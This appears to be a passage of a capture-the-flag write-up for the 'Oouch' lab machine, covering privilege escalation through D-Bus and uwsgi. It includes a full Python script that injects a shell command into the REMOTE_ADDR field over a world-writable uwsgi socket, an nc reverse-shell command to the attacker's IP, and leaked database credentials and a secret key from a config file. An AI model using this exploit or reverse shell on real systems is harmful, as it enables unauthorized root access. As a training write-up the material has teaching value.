qtc@oouch:~/.ssh$ for i in $(seq 1 255); do ping -c 1 172.18.0.$i; done | grep "bytes from"
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.058 ms
64 bytes from 172.18.0.3: icmp_seq=1 ttl=64 time=0.048 ms
64 bytes from 172.18.0.4: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 172.18.0.5: icmp_seq=1 ttl=64 time=0.070 ms
So I tried the key against them
qtc@oouch:~/.ssh$ ssh [email protected] -i ./id_rsa
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 1 15:41:34 2020 from 172.18.0.1
qtc@aeb4525789d8:~$
Which seemed to be running the web app from port 5000
qtc@aeb4525789d8:/code$ ls -la
total 52
drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root 568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root 325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root 0 Mar 1 15:44 urls.txt
-rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
qtc@aeb4525789d8:/code$ cat config.py
import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config(object):
# ...
SQLALCHEMY_DATABASE_URI = 'mysql://qtc:[email protected]/Consumer'
SQLALCHEMY_TRACK_MODIFICATIONS = False
SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'
# qtc@aeb4525789d8:/code/oouch$ cat routes.py
import re
import sys
import json
import requests
from oouch import app, db
from oouch.models import User, Token
from flask_login import current_user, login_user, logout_user, login_required
from flask import render_template,redirect, url_for, flash, request
from oouch.forms import LoginForm, RegistrationForm, PasswordChangeForm, ContactForm
from werkzeug.urls import url_parse
sys.path.insert(0, "/usr/lib/python3/dist-packages")
import dbus
[SNIP]
# First we need to load the contact form
form = ContactForm()
# If the form was already submitted, we process the contents
if form.validate_on_submit():
# First apply our primitive xss filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
[SNIP]
This is also handling the Dbus stuff mentioned in the note. I also found that when I got banned by the WAF on port 5000 the following entries showed in pspy
2020/03/01 17:24:11 CMD: UID=0 PID=6949 | sh -c iptables -A PREROUTING -s 10.10.14.27 -t mangle -j DROP
2020/03/01 17:24:11 CMD: UID=0 PID=6948 | /root/dbus-server
My IP was there and unquoted, so I considered maybe I could carry out some kind of command injection attack via the Dbus. I also found the uwsgi socket for the webserver was world writable, so I could inject modified requests directly into it. Which is good as the Dbus message used the REMOTE_ADDR
header which I would have been unable to fake
qtc@aeb4525789d8:/tmp$ ls -la
srw-rw-rw- 1 www-data www-data 0 Mar 1 12:10 uwsgi.socket
At this point I spent a lot of time testing various scripts, and reading a lot of documentation. Various resources I found helpful were (There were a lot more, these were just ones I saved)
- https://uwsgi-docs.readthedocs.io/en/latest/
- https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
- https://github.com/andreif/uwsgi-tools
This resulted in the following script to interact with the socket and submit a post request to the contact form. Importantly I wasn't expecting to trigger the RCE with this attempt as I didn't try and trigger the waf
import sys
import socket
import struct
PAYLOAD = {
'PATH_INFO': '/contact',
'REQUEST_METHOD': 'POST',
'HTTP_HOST': 'consumer.oouch.htb',
'HTTP_COOKIE': 'session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8',
'HTTP_USER_AGENT': 'NotAnExploit',
'CONTENT_TYPE': 'application/x-www-form-urlencoded',
'CONTENT_LENGTH': '133',
'REMOTE_ADDR': '$(touch /tmp/rooted)'
}
def encode_params(params):
encoded_results = b''
for param in params:
val = params[param].encode()
param = param.encode()
encoded_results += struct.pack('<H', len(param))
encoded_results += param
encoded_results += struct.pack('<H', len(val))
encoded_results += val
return encoded_results
def main():
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/tmp/uwsgi.socket')
encoded_payload = encode_params(PAYLOAD)
print("============== BEGIN PAYLOAD ==============")
print(encoded_payload)
print("============== END PAYLOAD ==============")
print()
print()
s.sendall(struct.pack('<BHB', 0, len(encoded_payload), 0))
s.sendall(encoded_payload)
s.sendall("csrf_token=ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwEmg.xBU6SLFRMI208-xNpy_TrJ1vz-A&textfield=hi+admin&submit=Send".encode())
print("============== BEGIN RESPONSE ==============")
response = s.recv(1024)
while response:
print(response)
response = s.recv(1024)
print("============== END RESPONSE ==============")
s.close()
if __name__ == '__main__':
main()
I ran it
qtc@aeb4525789d8:/tmp$ python exploit.py
============== BEGIN PAYLOAD ==============
b'\t\x00PATH_INFO\x08\x00/contact\x0e\x00REQUEST_METHOD\x04\x00POST\t\x00HTTP_HOST\x12\x00consumer.oouch.htb\x0b\x00HTTP_COOKIET\x01session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8\x0f\x00HTTP_USER_AGENT\x0c\x00NotAnExploit\x0c\x00CONTENT_TYPE!\x00application/x-www-form-urlencoded\x0e\x00CONTENT_LENGTH\x03\x00133\x0b\x00REMOTE_ADDR\x14\x00$(touch /tmp/rooted)'
============== END PAYLOAD ==============
============== BEGIN RESPONSE ==============
b'HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 3001\r\nVary: Cookie\r\nSet-Cookie: session=.eJwlj8FqxDAMRH_F-LwU27JlJ1-x97IssixvQtNNidPTsv9eQU9CM3rD6GXvfaOxyLDz58uaU4f9ljHoIfZir5vQELPtD7M-zbkbYlbTnMs6zI_efNjb-3bRkEPGYudO2xBd12ZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmvbncfT7uX_JU_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3O-T4fyLZ9x-PcVap.XlwFuA.-Ax6c88JcZOCZiNAA-_0k6fLUZo; HttpOnly; Path=/\r\n\r\n<html>\n \n \n <head>\n \n <title>Contact</title>\n \n <meta>\n <link rel="stylesheet" media="screen" href="/static/css/bootstrap.min.css">\n <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n </meta>\n </head>\n \n <link rel="stylesheet" media="screen" href="/static/css/menu.css">\n\n\n <body>\n <nav class="navbar navbar-expand-sm bg-light navbar-light">\n <ul class="navbar-nav">\n <li class="nav-ite'
b'm active">\n <a class="nav-link" href="/home">Home</a>\n </li>\n \n <li class="nav-item">\n <a class="nav-link" href="/logout">Logout</a>\n </li>\n \n </ul>\n</nav>\n\n \n <div id="sidebar-wrapper">\n <ul class="sidebar-nav" id="sidebar">\n <li class="sidebar-nav"><a id="menu-toggle" href="/home">Menu<span id="main_icon" class="glyphicon glyphicon-align-justify"></span></a></li>\n <li><a href="/profile">Profile<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/password_change">Password Change<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/documents">Documents<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/about">About<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/contact">Contact<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n </ul>\n </div>\n\n <div '
b'id="page-content-wrapper">\n <div class="text-center">\n <h1 style="margin-top: 2cm;">Contact</h1>\n <p style="margin-top: 2cm;">Customer contact is really important for us. If you have feedback to our site or found any bugs that influenced your user experience, \n please do not hesitate to contact us. Messages that were submitted in the message box below are forwarded to the system administrator. Please do not submit security\n issues using this form. Instead ask our system administrator how to establish an encrypted communication channel.</p>\n\n <form action="" method="post" novalidate>\n <div class="form-group">\n <input id="csrf_token" name="csrf_token" type="hidden" value="ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwFuA.QJH6lZW-PkUD7QGTtEDKtV_098E">\n <p>\n <label for="textfield">Message</label><br>\n <input class="form-control" id="textfield" name="textfie'
b'ld" required size="500" type="text" value="hi admin"><br>\n \n </p>\n <p><input class="btn btn-success" id="submit" name="submit" type="submit" value="Send"></p>\n </div>\n </form>\n \n <p>Your message was sent. Thank you for your feedback!</p>\n \n </div>\n </div>\n\n </body>\n</html>'
============== END RESPONSE ==============
This was the first time I successfully made a raw request via the socket. So I updated it to trigger the waf. I had my REMOTE_ADDR
set to
$(touch /tmp/rooted)
So I could see if it worked. The updated script was
import sys
import socket
import struct
PAYLOAD = {
'PATH_INFO': '/contact',
'REQUEST_METHOD': 'POST',
'HTTP_HOST': 'consumer.oouch.htb',
'HTTP_COOKIE': 'session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8',
'HTTP_USER_AGENT': 'NotAnExploit',
'CONTENT_TYPE': 'application/x-www-form-urlencoded',
'CONTENT_LENGTH': '134',
'REMOTE_ADDR': '$(touch /tmp/rooted)'
}
def encode_params(params):
encoded_results = b''
for param in params:
val = params[param].encode()
param = param.encode()
encoded_results += struct.pack('<H', len(param))
encoded_results += param
encoded_results += struct.pack('<H', len(val))
encoded_results += val
return encoded_results
def main():
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/tmp/uwsgi.socket')
encoded_payload = encode_params(PAYLOAD)
print("============== BEGIN PAYLOAD ==============")
print(encoded_payload)
print("============== END PAYLOAD ==============")
print()
print()
s.sendall(struct.pack('<BHB', 0, len(encoded_payload), 0))
s.sendall(encoded_payload)
s.sendall("csrf_token=ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwEmg.xBU6SLFRMI208-xNpy_TrJ1vz-A&textfield=document.&submit=Send".encode())
print("============== BEGIN RESPONSE ==============")
response = s.recv(1024)
while response:
print(response)
response = s.recv(1024)
print("============== END RESPONSE ==============")
s.close()
if __name__ == '__main__':
main()
Which ran
qtc@aeb4525789d8:/tmp$ python exploit.py
============== BEGIN PAYLOAD ==============
b'\t\x00PATH_INFO\x08\x00/contact\x0e\x00REQUEST_METHOD\x04\x00POST\t\x00HTTP_HOST\x12\x00consumer.oouch.htb\x0b\x00HTTP_COOKIET\x01session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8\x0f\x00HTTP_USER_AGENT\x0c\x00NotAnExploit\x0c\x00CONTENT_TYPE!\x00application/x-www-form-urlencoded\x0e\x00CONTENT_LENGTH\x03\x00134\x0b\x00REMOTE_ADDR\x14\x00$(touch /tmp/rooted)'
============== END PAYLOAD ==============
============== BEGIN RESPONSE ==============
b'HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2033\r\nVary: Cookie\r\nSet-Cookie: session=.eJwlj8FqxDAMRH_F-LwU27JlJ1-x97IssixvQtNNidPTsv9eQU9CM3rD6GXvfaOxyLDz58uaU4f9ljHoIfZir5vQELPtD7M-zbkbYlbTnMs6zI_efNjb-3bRkEPGYudO2xBd12ZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmvbncfT7uX_JU_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3O-T4fyLZ9x-PcVap.XlwGHQ.1xX_86L1PbhSd3l7PjzG_E9Kqhs; HttpOnly; Path=/\r\n\r\n<html>\n \n \n <head>\n \n <title>Hacker</title>\n \n <meta>\n <link rel="stylesheet" media="screen" href="/static/css/bootstrap.min.css">\n <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n </meta>\n </head>\n \n <link rel="stylesheet" media="screen" href="/static/css/menu.css">\n\n\n <body>\n <nav class="navbar navbar-expand-sm bg-light navbar-light">\n <ul class="navbar-nav">\n <li class="nav-item'
b' active">\n <a class="nav-link" href="/home">Home</a>\n </li>\n \n <li class="nav-item">\n <a class="nav-link" href="/logout">Logout</a>\n </li>\n \n </ul>\n</nav>\n\n \n <div id="sidebar-wrapper">\n <ul class="sidebar-nav" id="sidebar">\n <li class="sidebar-nav"><a id="menu-toggle" href="/home">Menu<span id="main_icon" class="glyphicon glyphicon-align-justify"></span></a></li>\n <li><a href="/profile">Profile<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/password_change">Password Change<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/documents">Documents<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/about">About<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n <li><a href="/contact">Contact<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n </ul>\n </div>\n\n <div i'
b'd="page-content-wrapper">\n <div class="text-center">\n <h1 style="margin-top: 2cm;">Hacking Attempt Detected</h1>\n <p style="margin-top: 2cm;">Dear hacker, did we not already told you, that this site is constructed following the highest security standards?\n Well, we blocked your IP address for about one minute and hope that you learn something from that.</p>\n </div>\n </div>\n\n </body>\n</html>'
============== END RESPONSE ==============
And when I checked tmp on the host
qtc@oouch:/tmp$ ls -la
[SNIP]
-rw-r--r-- 1 root root 0 Mar 1 19:59 rooted
[SNIP]
Itt worked, so I updated the injected command to be
$(nc 10.10.14.27 4444 -e /bin/bash)
And set a listener
kali@kali:~$ nc -nlvp 4444
Then when I ran the exploit and checked the listener
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.177] 41530
#
# id
uid=0(root) gid=0(root) groups=0(root)
A root shell, so I grabbed the flag
# ls -la
total 76
drwx------ 6 root root 4096 Feb 25 12:31 .
drwxr-xr-x 18 root root 4096 Feb 11 17:51 ..
lrwxrwxrwx 1 root root 9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Feb 11 18:34 .cache
-rw-r--r-- 1 root root 334 Feb 11 18:34 credits.txt
-rwxr-xr-x 1 root root 17904 Feb 11 18:34 dbus-server
-rw-r--r-- 1 root root 4876 Feb 11 18:34 dbus-server.c
-rw-r--r-- 1 root root 0 Mar 1 20:02 get_pwnd.log
-rwxr-xr-x 1 root root 7121 Feb 23 15:08 get_pwnd.py
drwx------ 3 root root 4096 Feb 11 18:33 .gnupg
drwxr-xr-x 3 root root 4096 Feb 25 12:31 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 33 Feb 11 18:34 root.txt
drwxr-xr-x 2 root root 4096 Feb 13 06:49 .ssh
# cat root.txt
[REDACTED]